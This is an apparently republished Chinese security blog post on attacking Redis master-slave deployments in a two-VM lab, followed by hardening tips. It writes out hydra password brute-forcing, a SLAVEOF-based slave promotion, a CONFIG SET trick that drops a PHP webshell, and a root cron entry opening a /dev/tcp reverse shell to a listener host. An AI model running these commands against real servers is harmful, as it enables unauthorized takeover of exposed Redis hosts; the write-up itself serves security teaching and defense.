Redis slave 模式下的漏洞利用 – 作者:vlong6

一、Redis 简介

Redis 是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库。Redis与其他key – value缓存产品有以下三个特点:

支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。

不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。

支持数据的备份,即master-slave模式的数据备份。

二、环境搭建

1、从官网下载Redis安装包,本次实验使用Redis 2.8.17版本进行测试,两台Centos 6虚拟机进行实验。

master node 192.168.31.41

slave node 192.168.31.207

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

a1.png

2、解压编译安装

tar zxvf redis-2.8.17.tar.gz    #解压
cd redis-2.8.17
make MALLOC=libc                #编译
make install                    #安装

mkdir -p /usr/local/redis/etc
mkdir -p /usr/local/redis/bin
cp redis.conf /usr/local/redis/etc/
cd src/
mv mkreleasehdr.sh redis-benchmark redis-check-aof redis-check-dump redis-cli redis-server /usr/local/redis/bin

3、修改slave节点上的配置文件

echo "slaveof 192.168.31.41 6379" >> /usr/local/redis/etc/redis.conf

4、启动Redis验证,在启动slave节点时会自动同步数据。

/usr/local/redis/bin/./redis-server /usr/local/redis/etc/redis.conf

a3.png

5、分别查看Redis服务info信息记日志,192.168.31.41为master node,192.168.31.207为slave node。

a4.png

三、漏洞利用

1、暴力枚举redis

hydra暴力枚举Redis密码

hydra -P /root/tools/pass/q_10.txt redis://193.168.31.41

a5.png

MSF暴力枚举Redis密码a6.png

2、未授权或枚举出密码情况下利用

当Redis默认为slave时,从节点服务器断开后,从节点会晋升为主节点。

./redis-cli -h 192.168.31.207 -p 6379
INFO replication
SL**EOF no one

a7.png

通过Redis写webshell(需要知道网站绝对路径)。

config set dir /var/www/html
config set dbfilename webshell.php
set webshell "<?php phpinfo(); ?>"
save

a8.png查看服务器已写入webshell

a9.png

通过写计划任务反弹shell

config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/sh -i>&/dev/tcp/192.168.31.62/4444 0>&1\n\n"
save

a10.png

免密钥登录写入同上,这里使用redis漏洞利用工具进行写入

a11.pngssh链接时无需密码登录

image.png

写/etc/passwd 文件实现任意账号密码重置,此方法会把管理员覆盖容易被管理员发现。

四、Redis安全加固

1、禁用远程修改 DB 文件地址

修改redis.conf文件

rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

2、以低权限运行 Redis 服务

groupadd -r redis && useradd -r -g redis redis

3、为 Redis 添加密码验证

修改redis.conf文件

requirepass mypassword

4、禁止外网访问 Redis

修改redis.conf文件

bind 127.0.0.1

5、修改默认端口

修改redis.conf文件

Port 6379

6、设置防火墙策略 

如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

关注我们

Tide安全团队正式成立于2019年1月,是以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或关注公众号:

ewm.png

来源:freebuf.com 2019-10-18 11:19:14 by: vlong6

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论